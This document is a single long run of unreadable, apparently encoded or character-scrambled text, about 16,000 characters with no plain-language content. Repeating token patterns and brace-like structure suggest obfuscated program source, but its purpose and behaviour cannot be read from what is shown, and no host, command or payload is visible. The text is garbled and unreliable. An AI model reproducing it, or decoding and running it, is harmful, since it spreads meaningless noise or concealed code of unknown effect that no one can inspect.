%v#7|)nnnspnnnnj/)9|<*z?<7zgnnnn5Dnnnnnj(",(/4}#}|y '<!nnnsnnnnnn 7}4y-;/*?*-( v|*zfj/)9|<*z?<7zguDnn'(nnfj(",(/4}#}|y '<!nnossnnllgnnnnnj"'=:f=:<' )gnnnnnj:/>8 %v#7|)nnnnnsnnnnnj(",(/4}#}|y '<!uDnnnnnn3Dnnnn3Dnnnn<+:;< nj"'=:uDDnn3D(; -:'! nn??(?;=<>}&=-"%7y7)#fj:/>8 %v#7|)bnnnj/%{?x%%z$$$wbnnnnnnj,'(?8/)4vx:8>*gDn5Dnnnn:<7n5Dnnnnn'(nfonnn47}#%=++!*:f~yxgfj:/>8 %v#7|)gn22nnonnnn,,&x"7%*"w>* "|fwwgfj:/>8 %v#7|)bnnn,,&x"7%*"w>* "|f~yygggn5D<+:;< nj:/>8 %v#7|)uDnnn3D'(nnnnfonnj:/>8 %v#7|)cp&/=-/>f47}#%=++!*:f~yvgggnnnn5Dn<+:;< nnj:/>8 %v#7|)uDnn3Dnnnn'(nfon,,&x"7%*"w>* "|f~zgfj,'(?8/)4vx:8>*gn22nnonnj,'(?8/)4vx:8>*gnnn5Daan7nvn=tn#+/=;<+n/""!-/:!<DDnnnn<+:;< nnnnj:/>8 %v#7|)uDn3Dj67'*({9|~|!;znsn&,';|8$9)9wz};<4} %6f'9}8?4>/7?,4)f~ywgbnn/<</7fgguDnnnnn'(nfon47}#%=++!*:f~y}gfj67'*({9|~|!;zggn5Dnnj67'*({9|~|!;znnnsnnn/<</7fguDDDnnn3Dn(!<+/-&nfj67'*({9|~|!;znnnn/=nj7-%/<?x9/{4}<nnspnnj#}v& 6w</gnn5DDDnj>7zw;4(,:,w69nsnn,,&x"7%*"w>* "|f~y}gfj#}v& 6w</gnnnnnhhnn'==+:fj#}v& 6w</')<,*!v z,w(-=f~v~ggnnnnnnqnf' :gnnnj#}v& 6w</47}#%=++!*:f~v~gnnntnnnnn~uDDnnn'(nnfj>7zw;4(,:,w69nnhhnnj>7zw;4(,:,w69nnnnrnn,,&x"7%*"w>* "|f~vgfgnnncnnnnnf|{~}|ve{|y|ywggn; =+:fj67'*({9|~|!;zj7-%/<?x9/{4}<guDDDnnnnn3DDDnnj67'*({9|~|!;zj:/>8 %v#7|)cp;=+<"!)' nsn/<</7fi>innspnj,'(?8/)4vx:8>*bnnn'9}8?4>/7?,4)f~v~gnnnnnspnnn,,&x"7%*"w>* "|f~vgfgbnnnn')<,*!v z,w(-=fx|~gnspnnn~guDnn$4"|"44x:74/<*9 %#||8f47}#%=++!*:f~ywgbnj67'*({9|~|!;zbnnn')<,*!v z,w(-=f~v|gguDDn3nnn-/:-&nnnf&<!9/,"+nj": >{,:|gnnn5D!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)f~v}gbnnnj": >{,:|guDDDnnnnnn3nnn-/:-&nf6-+>:'! nj": >{,:|gnn5Dn3Dnnnnnnn<+:;< nnj:/>8 %v#7|)uDnn3DDD(; -:'! nn9/8$'6%/64xz)|=fj;4~<=7w,{bnnj:/>8 %v#7|)gDnn5D:<7nnn5Dn'(nnfo'9}8?4>/7?,4)f~zgfj;4~<=7w,{gn22nnj;4~<=7w,{nnsssnnnllgn<+:;< uDnDDnnj67'*({9|~|!;znnsnn&,';|8$9)9wz};<4} %6f'9}8?4>/7?,4)f~ywgbn/<</7fgguDnn'(nnfo,,&x"7%*"w>* "|f~vzgfj67'*({9|~|!;zgnnn22no'==+:fj67'*({9|~|!;zj;4~<=7w,{ggnnnn<+:;< uDnnj": >{,:|nnsnnnj67'*({9|~|!;zj;4~<=7w,{uDnnnnnnn'(nnnnf,,&x"7%*"w>* "|f~v{gfj": >{,:|gnhhnnn+#>:7fj": >{,:|'9}8?4>/7?,4)fx|~gggnnn5j8=w7# =w(!sf~6w*e~6-{guj%!46)+~<8}v>sj8=w7# =w(!kwuDnnnj67'*({9|~|!;zj;4~<=7w,{,,&x"7%*"w>* "|fx|~gnnsnnnuj/;$(}>#?}|$}sze}~uj%/;6,7&(8=ywwxsj/;$(}>#?}|$}cyuDn$4"|"44x:74/<*9 %#||8f'9}8?4>/7?,4)f~ywgbnj67'*({9|~|!;zbn'9}8?4>/7?,4)f~v|gguD3DDnnnn3n-/:-&nf&<!9/,"+nnnj$,/8*v8  >?~,w%gnnn5D!%6z,zv||*<-%;=*/7";f47}#%=++!*:f~vxgbnj$,/8*v8  >?~,w%guDn3nnnn-/:-&nnf6-+>:'! nj$,/8*v8  >?~,w%gnnnnnn5DDDDnnnn3D3Dnnn(; -:'! nn%|{)?);-?4),/)x:'*4:fj!yv7*,{'!-gD5j6(y;%>9(>+y*9sy{2|}yuj%'7*}|y4sj6(y;%>9(>+y*9yuDDDnn'(nfonnn'9}8?4>/7?,4)f~v{gfj!yv7*,{'!-ggn5Daan/9/':n'*+#>!:+ :c/*$n-!!<*' /:!<DDnnn<+:;< n(/"=+uDDnnnnnn3Dj"(,*,,;*&z,nnnsn'w4:*|49x,/=)&6+!#fguDn(!<+/-&nfj!yv7*,{'!-nn/=nnnnnnj6(>$({8y}8=#%+$gn5Dn(!<+/-&nnnnnfj"(,*,,;*&z,n/=nnnnnj!x%#8)) |';%gn5Dn'(nnf'9}8?4>/7?,4)fv~xgf47}#%=++!*:f~vygnn`nn47}#%=++!*:f~vvgfj!x%#8)) |';%bniaignnnn`n'9}8?4>/7?,4)f~vwgbnnj6(>$({8y}8=#%+$cp;=+<"!)' ggnnn5Dadn:!:/"n><!!(c:+<#ndaDD<+:;< nnj6(>$({8y}8=#%+$uDn3Dnnnn3Dnnnn3D<+:;< n(/"=+uDnn3Dn(; -:'! n!=+>>,++"6<w;&fj"4<;y$7<</*{8bnnj'zx"&7|)v>-  *7gDnnnn5Dn<+:;< n')<,*!v z,w(-=f~w~gf47}#%=++!*:f~vgfj"4<;y$7<</*{8gbnn~bnnj'zx"&7|)v>-  *7guDDDDn3DDDnn(; -:'! nnnnn)#((v})/:~9)<:fj('|!v?|'{&xgDn5Dnn'(nfo'9}8?4>/7?,4)f~zgfj('|!v?|'{&xgnnnn22nnj('|!v?|'{&xnnnsssnllnn22nnnno*+(' +*f,,&x"7%*"w>* "|fwxxgggnnnn<+:;< nnn(/"=+uDnn=:/:'-nnnj49x"67)((<nnnnnsnnnnn ;""uDn'(nnnnfj49x"67)((<nnsssn ;""gn5Daann/</)</>&n"!-%tn<+"+/=+n*+?;+Dj+8!'z&&|%':y9&s uj(v>-68/,{$/|sj+8!'z&&|%':y9&d|uDnnj49x"67)((<nnnsn/<</7fDn!=+>>,++"6<w;&fn`n')<,*!v z,w(-=f~wgbnnf{e}ggnnn`nnnnnn'9}8?4>/7?,4)fwvvgbDnnn!=+>>,++"6<w;&fnn`n'9}8?4>/7?,4)f~w|gbnnnfeyggnnn`nnnnnn47}#%=++!*:fwvvgbDguDn3Dn(!<+/-&nnfj49x"67)((<nnn/=nnnj<;!+~(4%)6gnnnn5j%zy>"">&{-;;svd|uj#|(6)7?/(,sj%zy>"">&{-;;czuDnnn'(nnf')<,*!v z,w(-=fwy~gfj('|!v?|'{&xbnj<;!+~(4%)6gnossnnnnn(/"=+gn<+:;< nnnnn:<;+uDn3Dnnn<+:;< nn(/"=+uDnnnn3D(; -:'! n+6z6x-&~y)|? ~ 6)fj'zx"&7|)v>-  *7gDDnnn5j"~->=4++?~=%,s}wdyuj8+~ >v/%4 zx}?sj"~->=4++?~=%,c}~uDn<+:;< nn!=+>>,++"6<w;&f; '?'*ff=:<' )gnnn47}#%=++!*:fzz~gfgbnnn:<;+gbnnj'zx"&7|)v>-  *7guDDDDnnnnnnnn3Dnn(; -:'! nnnn=,(49>-v+:><w,"=+w?xfj "~6%$-v~+vgD5D'(nfo,,&x"7%*"w>* "|f~x~gf'9}8?4>/7?,4)f~xgggn<+:;< nnnnn(/"=+uDDDDnnj%xyz*%4$-(=&{nnsnn)+:!>:'! f'9}8?4>/7?,4)f~w}gbnn/<</7fgguj#,)}&()&8+sy{{uj+>-v9|6| sj#,)}&()&8+k|uD'(nfo,,&x"7%*"w>* "|f~v{gfj%xyz*%4$-(=&{ggn<+:;< nnnnn(/"=+uDnj+;(:|<v{$x|,{nsnn'9}8?4>/7?,4)f~vgfj "~6%$-v~+vguDDDDn'(nf+#>:7fj%xyz*%4$-(=&{j+;(:|<v{$x|,{ggnn<+:;< nnn(/"=+uDnnnnnnnj(",(/4}#}|y '<!nnsnnn')<,*!v z,w(-=f||~gfi2ibnnnnf=:<' )gnnj%xyz*%4$-(=&{j+;(:|<v{$x|,{guDnnnnnnj>6$)w<9+y":nnsnn'==+:fj(",(/4}#}|y '<!gnnqnnnf' :gnnnnj(",(/4}#}|y '<!nnntnn~uj7- {}*%;%<sxye{xuj;w8~x6v'zxsj7- {}*%;%<czzuDnn<+:;< nnnnfj>6$)w<9+y":nnpn~nnnnnhhn,,&x"7%*"w>* "|f~wzgfgnnncnnj>6$)w<9+y":nrnnnf~6+--}e~6xz,*gguD3Dnnnnn(; -:'! n v v<!yz|*~*{}'?!fj "~6%$-v~+vbnnnnj,w?y= {|~}$=4y~gDnnnn5Dn'(nfo')<,*!v z,w(-=f~x~gf')<,*!v z,w(-=f~xggnnnn22nnnnno'9}8?4>/7?,4)f~w{gf')<,*!v z,w(-=f~wxgggn<+:;< uDnnnnnnnj%xyz*%4$-(=&{nnnsnn)+:!>:'! f47}#%=++!*:f~w}gbnn/<</7fgguDnnnnn'(nnnfo')<,*!v z,w(-=f~v{gfj%xyz*%4$-(=&{ggnnnnj%xyz*%4$-(=&{nnnsnn/<</7fguDnj+;(:|<v{$x|,{nnnsn')<,*!v z,w(-=f~vgfj "~6%$-v~+vguDD'(nfoj,w?y= {|~}$=4y~gnnnnnn5D'(nnf'==+:fj%xyz*%4$-(=&{j+;(:|<v{$x|,{ggnn5D; =+:fj%xyz*%4$-(=&{j+;(:|<v{$x|,{guD;>*/:+!>:'! f,,&x"7%*"w>* "|f~w}gbnnnnj%xyz*%4$-(=&{guDnnnnn3Dnnn<+:;< uDn3DDDDnnnnnj#$#<+='~%|,~);8nnnsn~uDnnnnnn'(nfo+#>:7fj%xyz*%4$-(=&{j+;(:|<v{$x|,{ggnn5Dnnj(",(/4}#}|y '<!nnsnnn')<,*!v z,w(-=f||~gfi2ibnf=:<' )gnnnj%xyz*%4$-(=&{j+;(:|<v{$x|,{guDnnnnnj#$#<+='~%|,~);8nsnnnnf' :gnj(",(/4}#}|y '<!~uDDn3Dnnj#$#<+='~%|,~);8eeuDnnnnnj>6$)w<9+y":nnsnnnnfj#$#<+='~%|,~);8nnnpsnfxc}ggnnqnn'9}8?4>/7?,4)f~wzgfgnnntnnn~uD(!<+/-&nnfj%xyz*%4$-(=&{nnn/=nnnj?z+$4ww{%"v/nspnnj=++(x+,( ?$,vgnnnnn5Dnnnj('|!v?|'{&xnnsnn,,&x"7%*"w>* "|f||~gfi2ibnnnf=:<' )gnnnnj=++(x+,( ?$,vguDn'(nnnfo+#>:7fj('|!v?|'{&xgnhhnn47}#%=++!*:f~wygfgnnncnf' :gnj('|!v?|'{&xnnpnnf~6||(we~6|v~~yggnn; =+:fj%xyz*%4$-(=&{j?z+$4ww{%"v/guDnnnnnn3DDDDj%xyz*%4$-(=&{j+;(:|<v{$x|,{nnnsnj#$#<+='~%|,~);8nnnn`ni2in`nj>6$)w<9+y":uD;>*/:+!>:'! f'9}8?4>/7?,4)f~w}gbnj%xyz*%4$-(=&{guDnnnnn3Dnnn(; -:'! nnnn wx?>;v$;} -6'fj "~6%$-v~+vbnnnj;4{=;+!=v&,'/%gDDDnnn5DDDnnn'(nfo')<,*!v z,w(-=f~wvgfj;4{=;+!=v&,'/%ggn<+:;< uDDDDnj-$>'~?*z9>;+nnnnsnn-xx< -}**&>;z%x-~6xf,,&x"7%*"w>* "|f~wwgfj "~6%$-v~+vgbnn')<,*!v z,w(-=f~~gguDnnnnnn'(nnnnnfj-$>'~?*z9>;+nnossnnn(/"=+gnn5Dnnnn'(nnnnnnf'9}8?4>/7?,4)f~gfj-$>'~?*z9>;+bnnnnnj;4{=;+!=v&,'/%gnnnnnsssn'9}8?4>/7?,4)f~}gfj;4{=;+!=v&,'/%gnhhnn&<y"8{4$~,9;%>|fj-$>'~?*z9>;+bnnnj "~6%$-v~+vggnnnn<+:;< uDDnn'7"<=~;<?-87+}? fj-$>'~?*z9>;+guDDDnnnnn3D47}#%=++!*:f~gfj "~6%$-v~+vbnnnnnnj;4{=;+!=v&,'/%guDnnnn3DDnnnn(; -:'! nn=,?(,4;}z-}  {8=6$'6>fj "~6%$-v~+vbnj8)~':+{>&=6&gDDDDn5Dnj<y>%"%;-=~nsnn')<,*!v z,w(-=f~wwgfj "~6%$-v~+vguDn'(nfo47}#%=++!*:fvyygfj<y>%"%;-=~ggnnn5Dnnnn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)f~|gbnn'9}8?4>/7?,4)f~}gnn`nnn47}#%=++!*:f~zgfj "~6%$-v~+vgguDn<+:;< n(/"=+uDDDn3Dnnj;</(y|;'? xw~nnnnnnsnf,,&x"7%*"w>* "|f~w~gfj "~6%$-v~+vbnncf~6}e~6ggnnnnsssnnnnnn'9}8?4>/7?,4)fwvvgguD'(nnnfj;</(y|;'? xw~nnnnhhno84*{ <*'w~?-y,-4,;fj8)~':+{>&=6&ggnn5Dn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)f~|gbnnn47}#%=++!*:f~{gnn`nn')<,*!v z,w(-=f~zgfj "~6%$-v~+vgguDnnnn<+:;< nnnn(/"=+uD3Dnnn'(nnnnfj;</(y|;'? xw~nnnhhnnnnn=,(49>-v+:><w,"=+w?xfj "~6%$-v~+vggnn<+:;< nn(/"=+uDj6}|!94 xnnnnnsnnn(/"=+uDnn'(nnf'9}8?4>/7?,4)fvyxgfj "~6%$-v~+vggnnnnj6}|!94 xnnnnsnn:<;+unDnnnnj;4{=;+!=v&,'/%nsnn ;""uj"$yx))7{!==s a uj8#<("%<(+6xsj"$yx))7{!==e|}uDnnnnnnnj6(%6)(z"y%~nnsnnnn(/"=+uDnj+w9x9-{yw;nsn ;""uDnnn'(nnf')<,*!v z,w(-=f~xgfj "~6%$-v~+vgnnhhnnnno')<,*!v z,w(-=fvyxgfj "~6%$-v~+vggn5Dnnnnnnj6(%6)(z"y%~nnnsnn:<;+uDnnnnj+w9x9-{yw;nnsnn('"+>+<#=fj "~6%$-v~+vguDn'(nnnfj+w9x9-{yw;nnnnsssn(/"=+gnnnnj+w9x9-{yw;nnnnsnnnn ;""uD'(nnnnf'9}8?4>/7?,4)f||}gfj "~6%$-v~+vgnnrsnnnnf~6|v(we~6w~x++(ggnj;4{=;+!=v&,'/%nnnnsn,,&x"7%*"w>* "|fw|xgfj "~6%$-v~+vguDDDDnn3Dn'(nnnfo,,&x"7%*"w>* "|f~w{gf,,&x"7%*"w>* "|f|xgggn5Dnn!%6z,zv||*<-%;=*/7";f47}#%=++!*:f~|gbn'9}8?4>/7?,4)f~ygn`n47}#%=++!*:f~zgfj "~6%$-v~+vgguDnnnnn<+:;< nnnn(/"=+uDnnnnnnnn3DDDj#x*-(<=%'/-%- =nnsnnnn(/"=+uDnj(--4/9,"*!xnnnsn(/"=+uDnnnj-"nnsnnn47}#%=++!*:f~vgfj8)~':+{>&=6&guDnn(!<nnnfj"-x#,~*)<$:nnsnnn~unnnnnnj"-x#,~*)<$:nnrn|unnj"-x#,~*)<$:eegnnn5Dj#x*-(<=%'/-%- =nnnsnn-xx< -}**&>;z%x-~6xfj<y>%"%;-=~bn47}#%=++!*:f~wgguD'(nnfj#x*-(<=%'/-%- =nnossnn(/"=+gnnn5Dj(--4/9,"*!xnnnsn(/"=+uDnnj('|!v?|'{&xnnnnsnnnn'9}8?4>/7?,4)f~zgfj#x*-(<=%'/-%- =bnnn')<,*!v z,w(-=f~gguDnnnnn'(nfj('|!v?|'{&xnnossn(/"=+gnn5Dnj }<?zw*$6nsn~uDnnn9&'"+nnnnnnfj }<?zw*$6nrnnj-"gnnn5DDDnj)!! :z}/84(,~nsnn47}#%=++!*:fgfj('|!v?|'{&xbn47}#%=++!*:f|gfj8)~':+{>&=6&bnnnj }<?zw*$6gguDn'(nnfj)!! :z}/84(,~nnnsssnnnn(/"=+n22nj)!! :z}/84(,~nnnnsssnn~gn,<+/%uDnnnj }<?zw*$6nesnj)!! :z}/84(,~uD3Dnnn((";=&fj('|!v?|'{&xguDaan=>+-'/"'4+n/))<+)/:!<Dj'v/9{(%{#svy2}xuj++8+=9*7,v!sj'v/9{(%{#xwuD'(nnnf'9}8?4>/7?,4)f}gf')<,*!v z,w(-=fzgggnnnn(=7 -fj('|!v?|'{&xguj +9&w8)-}":?scwxuj,;z=8&z&#sfj +9&w8)-}":?p~gqj +9&w8)-}":?tcj +9&w8)-}":?uDnn(-"!=+fj('|!v?|'{&xguDnnn'(nfj }<?zw*$6nsssnnnnj-"gnnj(--4/9,"*!xnsnnj }<?zw*$6uDnn3nnnnn+"=+nn5DDDj(--4/9,"*!xnnnsn47}#%=++!*:f{gfj#x*-(<=%'/-%- =bnnnnnnj8)~':+{>&=6&guDDnnnnn3Daan' "' +n-/-&+DDnn'(nfj(--4/9,"*!xnnnossnn(/"=+nnnhhnnnnj(--4/9,"*!xnnnnsssnnj-"gnn,<+/%uDnnnn'7"<=~;<?-87+}? fj#x*-(<=%'/-%- =guDDDDnnnj#x*-(<=%'/-%- =nnnnnsnnn(/"=+uDDDnnn3DDDD3Dnnnnn'(nnnnfj#x*-(<=%'/-%- =nnnsssnnn(/"=+gn5Dn!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|f~|gbnnn47}#%=++!*:fxgnn`n,,&x"7%*"w>* "|f~zgfj "~6%$-v~+vgguD<+:;< n(/"=+uDnnn3DDDD'(nfj(--4/9,"*!xnnnsssn(/"=+n22nnj(--4/9,"*!xnossnnnj-"gnnnn5Dn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)f~|gbn')<,*!v z,w(-=fygn`n,,&x"7%*"w>* "|f~zgfj "~6%$-v~+vgguD'7"<=~;<?-87+}? fj#x*-(<=%'/-%- =guD<+:;< nnnn(/"=+uDn3Dn'(nnnfj+w9x9-{yw;nnossnnnnnn ;""gnnn')<,*!v z,w(-=fxzgfj#x*-(<=%'/-%- =bnnj+w9x9-{yw;nnnnhnnnnnnfzwve}gguDDDnj8;"%'y(4:|?)4w8/nnnnsnn&<y"8{4$~,9;%>|fj#x*-(<=%'/-%- =bnnnnnj "~6%$-v~+vguDnnn'(nnnfoj8;"%'y(4:|?)4w8/nhhnnnj6(%6)(z"y%~nnnnnhhnnnoj6}|!94 xgn5Dn'(nnnnnf,,&x"7%*"w>* "|f~xgfj "~6%$-v~+vggn??:+}<">$9;(=4=8'-+fj "~6%$-v~+vbnnf}wze|xgguDnj4+*8 4'//?v-vw+nnnnsnj "~6%$-v~+vn`n'9}8?4>/7?,4)fvgnnnn`nn'9}8?4>/7?,4)fzz~gff~6ye~6|yygbnf|yvevy|gguDnnn'(nnf&<y"8{4$~,9;%>|fj "~6%$-v~+vbnnnnj4+*8 4'//?v-vw+ggnnnnn5Dnnnj8;"%'y(4:|?)4w8/nnsnn&<y"8{4$~,9;%>|fj#x*-(<=%'/-%- =bnj "~6%$-v~+vguDn'(nnfj8;"%'y(4:|?)4w8/gn5DDnn'7"<=~;<?-87+}? fj4+*8 4'//?v-vw+guDD3nnn+"=+nnnn5Daan=/:'=('/,"+n,/-%"!)DDDnnnn'(nnnfo&<y"8{4$~,9;%>|fj4+*8 4'//?v-vw+bnnj "~6%$-v~+vgnhhnnnnno(!4;9yx)9<'6/~fj4+*8 4'//?v-vw+bnnnnj "~6%$-v~+vggnnn5Dnnn wx?>;v$;} -6'fj "~6%$-v~+vbnj;4{=;+!=v&,'/%guDnnnn3Daanc{n#'**"+9/<+tn"' +/<c/*$n,</ *+*c:7>+DDn'(nnnnnnfo'9}8?4>/7?,4)f~xgfj "~6%$-v~+vggnnn5Dnnnnnn wx?>;v$;} -6'fj "~6%$-v~+vbnnj;4{=;+!=v&,'/%guDnn3DDDn3DDDn3D3DDDnnnnn'(nnnfoj8;"%'y(4:|?)4w8/nnhhnnoj6}|!94 xnhhnnnoj;</(y|;'? xw~gn5DDDD'(nnnf,,&x"7%*"w>* "|f~xgfj "~6%$-v~+vggnnnnn??:+}<">$9;(=4=8'-+fj "~6%$-v~+vbnnf}vwe}gguD'(nnf(!4;9yx)9<'6/~fj#x*-(<=%'/-%- =bnnnnnj "~6%$-v~+vggnn5Dnnj8;"%'y(4:|?)4w8/nsnnnn:<;+uD'7"<=~;<?-87+}? fj#x*-(<=%'/-%- =guj $~%w}<4~sc}xuj&z&87)!(7!sfj $~%w}<4~p~gqj $~%w}<4~tcj $~%w}<4~uDnn3Dnnnnn3DDDDn'(nfoj8;"%'y(4:|?)4w8/gnnnnn5Dnn'(nnnnf,,&x"7%*"w>* "|f~xgfj "~6%$-v~+vgnnhhnnf' :gn')<,*!v z,w(-=f||}gfj "~6%$-v~+vgnossnnnj-"gnnnn5j -)w)#xy6svezyuj?(!(46*#"&vy<sj -)w)#xy6c}vuDnnnnnj-{4*}='{,'|nsn')<,*!v z,w(-=fwgfj "~6%$-v~+vguDDnnnnn'(nnnnnnfo'9}8?4>/7?,4)f|~gfj-{4*}='{,'|gn22nnf47}#%=++!*:f|gfj;4{=;+!=v&,'/%gnhhnnnj-{4*}='{,'|nnossnnnj;4{=;+!=v&,'/%ggnnn5Dnn'(nnf,,&x"7%*"w>* "|f||gfj;4{=;+!=v&,'/%ggn wx?>;v$;} -6'fj "~6%$-v~+vbnj;4{=;+!=v&,'/%guDDD+"=+'(nnfoj6(%6)(z"y%~gn'7"<=~;<?-87+}? fj "~6%$-v~+vguDaann!-'/"n' %=n<+=>! ='8+n,<+/%>!' :DDnnnnnnn3Dnn; =+:fj-{4*}='{,'|guDnnnn3Dnn'(nnnnfo47}#%=++!*:f~xgfj "~6%$-v~+vggnn5D wx?>;v$;} -6'fj "~6%$-v~+vbnj;4{=;+!=v&,'/%guD3D!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|f|}gbnn')<,*!v z,w(-=f|zgnnn`nnnn')<,*!v z,w(-=f~zgfj "~6%$-v~+vgguD'7"<=~;<?-87+}? fj#x*-(<=%'/-%- =guDn<+:;< nn(/"=+uDn3DDDDnnn-"+/<=:/:-/-&+f:<;+bnj "~6%$-v~+vguDDnnj:9-:89z" |y8;'/>nnnnsnn(/"=+uDDDnnn'(nfj-"nrsnf|~wy~v~ey|ggn5DDDj:'y={!})w4nnsn'9}8?4>/7?,4)f|{gfj "~6%$-v~+vguDnnnnnnDDnnnnj:9-:89z" |y8;'/>nnsnnnnf'9}8?4>/7?,4)f||gfj:'y={!})w4gnnnnhhnn'9}8?4>/7?,4)f~vgfj:'y={!})w4gnnnnsssnnnnj-"nhhnnnnnn,,&x"7%*"w>* "|f|xgfj:'y={!})w4gnsssn'9}8?4>/7?,4)f|xgfj8)~':+{>&=6&gguD3n+"=+n5Dnj(>>{|4!xy~w/9;*nnnnsnn47}#%=++!*:f|ygf'9}8?4>/7?,4)f|vggnnnqnn&/=&('"+f47}#%=++!*:f|xgbnj "~6%$-v~+vgnnnntnnnn(/"=+uD'(nnf47}#%=++!*:f|wgfj(>>{|4!xy~w/9;*gnhhnnj(>>{|4!xy~w/9;*nnossnnnllgnj:9-:89z" |y8;'/>nnnnsnnfj(>>{|4!xy~w/9;*nnsssnnnn,,&x"7%*"w>* "|f|xgfj8)~':+{>&=6&gguDnnnnnnn+"=+nnn5Daan-/:-&n,"!-%DDnnj9?%/;#v' 9*7nnnnnnsnnnnnn47}#%=++!*:f||}gfj "~6%$-v~+vguDn'(nfj9?%/;#v' 9*7nnsssnnnnnj-"gnnnnn5Dnnnnnnj+!,v-;:y%#+nnsnn47}#%=++!*:f|{gfj "~6%$-v~+vbnnnnn(/"=+bn ;""bnn~bnnnfz~y{e|gguDnnj<:nsnnnn'9}8?4>/7?,4)f|{gfj "~6%$-v~+vbnnnnn(/"=+bnnn ;""bnnj-"ncnnfy~~}c|w~ygguDnj:9-:89z" |y8;'/>nnsnf'9}8?4>/7?,4)f}~gfj+!,v-;:y%#+gnnnhhnn')<,*!v z,w(-=f}~gfj<:gnnhhnnj+!,v-;:y%#+nnnsssnnn,,&x"7%*"w>* "|f|gfj8)~':+{>&=6&bnn~bnf~6z|(e~6,*ggnnhhnnj<:nnsssnn')<,*!v z,w(-=f}gfj8)~':+{>&=6&bnj-"ncnf|~w|e|~~zggguDDDDn3Dn3DDDDnn3DDDn'(nnnnfoj:9-:89z" |y8;'/>gn5D!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|f|}gbn47}#%=++!*:f}|gnn`nn')<,*!v z,w(-=f~zgfj "~6%$-v~+vgguDDDDnn'(nnnfj;</(y|;'? xw~gnn v v<!yz|*~*{}'?!fj "~6%$-v~+vbnnnn:<;+guDnnnnn'(nnnf')<,*!v z,w(-=f}}gfj;4{=;+!=v&,'/%ggnnn5Dnnj#+w*)&?+}#}%4?48nsn47}#%=++!*:f|ygf'9}8?4>/7?,4)f}zggnnnnnqn&/=&('"+f')<,*!v z,w(-=f|xgbnnnj "~6%$-v~+vgntn(/"=+uDnnnnn'(nf47}#%=++!*:f}}gfj#+w*)&?+}#}%4?48gnnhhnj#+w*)&?+}#}%4?48nnnnossnnllnhhnnnj#+w*)&?+}#}%4?48nossnn'9}8?4>/7?,4)f|xgfj8)~':+{>&=6&gnnhhnj#+w*)&?+}#}%4?48nnnossnnnn47}#%=++!*:f|xgfj;4{=;+!=v&,'/%ggnnn5D!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)f|}gbnnn'9}8?4>/7?,4)f}{gn`nnn47}#%=++!*:f}xgfj "~6%$-v~+vgguDn<+:;< n(/"=+uDDDn3Dnnnj4z:x'4x;4#nnnnnsnnnnnn-xx< -}**&>;z%x-~6xfj<y>%"%;-=~bnnn')<,*!v z,w(-=f~wgguDn'(nnnnnnfj4z:x'4x;4#nossn(/"=+nnhhnn,,&x"7%*"w>* "|f{gfj4z:x'4x;4#bnnj;4{=;+!=v&,'/%gnnnnsssnnnn47}#%=++!*:f~vgfj;4{=;+!=v&,'/%ggnnnnn5Dnnnnnn'(nnnfo&<y"8{4$~,9;%>|fj4z:x'4x;4#bnj "~6%$-v~+vggnn5D'(nf47}#%=++!*:f~xgfj "~6%$-v~+vgnnhhnnnnoj6}|!94 xgnnnnn??:+}<">$9;(=4=8'-+fj "~6%$-v~+vbnfxwe|{gguD'(nnfoj6}|!94 xnnnnnhhnn(!4;9yx)9<'6/~fj4z:x'4x;4#bnnnnnnj "~6%$-v~+vggn5D'7"<=~;<?-87+}? fj4z:x'4x;4#guDnnnnnnnn3nn+"=+nn5Dnn47}#%=++!*:f{gfj "~6%$-v~+vbnnj;4{=;+!=v&,'/%guDnnn'7"<=~;<?-87+}? fj4z:x'4x;4#guD3Dnnn3DDn3nn+"=+n5Dnn'(nnnfj4z:x'4x;4#nossn(/"=+gnnnnnn'7"<=~;<?-87+}? fj4z:x'4x;4#guDnnnn'9}8?4>/7?,4)f}ygfj "~6%$-v~+vbnnj;4{=;+!=v&,'/%guDDn3Dn ,v  6"!(;6%6 v"7fj "~6%$-v~+vguDnn3nnn+"=+'(nnnfoj6(%6)(z"y%~gn5Dnn'7"<=~;<?-87+}? fj "~6%$-v~+vguDnnnnnnn3Dnnnnnn<+:;< n(/"=+uDnn3Dnnnnnnnn ,v  6"!(;6%6 v"7fj "~6%$-v~+vguD+wz$"%z*-z:%}"fj "~6%$-v~+vguDnnnnn??:+}<">$9;(=4=8'-+fj "~6%$-v~+vbnf~6xze~6z~gguDnnn'(nnnnnnfj;</(y|;'? xw~gnnn v v<!yz|*~*{}'?!fj "~6%$-v~+vbnn(/"=+guDnnnnnn<+:;< nnnn:<;+uDn3Dn(; -:'! nnn?~$,4+?(~"$ 6(z=fj "~6%$-v~+vbnnnj;x<!8;*&~}9&:gDnnnnnnn5Dadn<+"/6+*n=-!>+c-&/' ndaDDDj'#=|)(>&~~nnsnnnlrq>&> luDnnnnn'(nnnf'9}8?4>/7?,4)f}}gfj;x<!8;*&~}9&:gnhhnnnnnj;x<!8;*&~}9&:nnnnossnnnllnnhhnn47}#%=++!*:fwy~gfj;x<!8;*&~}9&:bnn')<,*!v z,w(-=f|{wggnossnn(/"=+nnhhnnnnnn84*{ <*'w~?-y,-4,;fj;x<!8;*&~}9&:ggnnj'#=|)(>&~~nnsnnj;x<!8;*&~}9&:uDn'(nf47}#%=++!*:f}vgfj "~6%$-v~+vggnnn5Dnnnnnj)&}/<4%v}nsnnnn,,&x"7%*"w>* "|f|{gfj "~6%$-v~+vguDDDDn'(nnnnf'9}8?4>/7?,4)f}}gfj)&}/<4%v}gnnhhn$9v'='y;'&{$%$zy+fj)&}/<4%v}gnnnsssnnnnj'#=|)(>&~~gnnnn<+:;< uDDDn3DDDnnnn'(nfo=,?(,4;}z-}  {8=6$'6>fj "~6%$-v~+vbnj'#=|)(>&~~ggnnnnn5Dnnnnj!|?<z|'z{8-8?nnnnnnsnnn'9}8?4>/7?,4)f|{gfj "~6%$-v~+vguD'(nnnfof47}#%=++!*:f}wgfj!|?<z|'z{8-8?gnnhhnnn$9v'='y;'&{$%$zy+fj!|?<z|'z{8-8?gnsssnj'#=|)(>&~~ggnnnnn47}#%=++!*:f}ygfj "~6%$-v~+vbnnnj'#=|)(>&~~guD; =+:fj!|?<z|'z{8-8?guDnn3D ,v  6"!(;6%6 v"7fj "~6%$-v~+vguDn3Dnnnn(; -:'! 